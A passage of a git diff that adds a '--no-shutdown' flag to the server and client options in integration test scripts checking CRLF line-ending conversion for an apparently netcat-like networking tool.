--no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/202---tcp---client_crlf_lf---server_sends_crlf.sh b/tests/integration/21-options---crlf/202---tcp---client_crlf_lf---server_sends_crlf.sh index 6d4d99d4..c8ac6eab 100755 --- a/tests/integration/21-options---crlf/202---tcp---client_crlf_lf---server_sends_crlf.sh +++ b/tests/integration/21-options---crlf/202---tcp---client_crlf_lf---server_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh b/tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh index 1534fc31..0967ca18 100755 --- a/tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh +++ b/tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/301---tcp---server_crlf_lf---client_sends_cr.sh b/tests/integration/21-options---crlf/301---tcp---server_crlf_lf---client_sends_cr.sh index 1b0fa107..034d32c1 100755 --- a/tests/integration/21-options---crlf/301---tcp---server_crlf_lf---client_sends_cr.sh +++ b/tests/integration/21-options---crlf/301---tcp---server_crlf_lf---client_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/302---tcp---server_crlf_lf---client_sends_crlf.sh b/tests/integration/21-options---crlf/302---tcp---server_crlf_lf---client_sends_crlf.sh index bc3243a2..f96f4ad8 100755 --- a/tests/integration/21-options---crlf/302---tcp---server_crlf_lf---client_sends_crlf.sh +++ b/tests/integration/21-options---crlf/302---tcp---server_crlf_lf---client_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/400---tcp---client_crlf_cr---server_sends_lf.sh b/tests/integration/21-options---crlf/400---tcp---client_crlf_cr---server_sends_lf.sh index 8aad6b21..6752c110 100755 --- a/tests/integration/21-options---crlf/400---tcp---client_crlf_cr---server_sends_lf.sh +++ b/tests/integration/21-options---crlf/400---tcp---client_crlf_cr---server_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/401---tcp---client_crlf_cr---server_sends_cr.sh b/tests/integration/21-options---crlf/401---tcp---client_crlf_cr---server_sends_cr.sh index f6be7e38..7a14badc 100755 --- a/tests/integration/21-options---crlf/401---tcp---client_crlf_cr---server_sends_cr.sh +++ b/tests/integration/21-options---crlf/401---tcp---client_crlf_cr---server_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/402---tcp---client_crlf_cr---server_sends_crlf.sh b/tests/integration/21-options---crlf/402---tcp---client_crlf_cr---server_sends_crlf.sh index ee336ebf..272b2276 100755 --- a/tests/integration/21-options---crlf/402---tcp---client_crlf_cr---server_sends_crlf.sh +++ 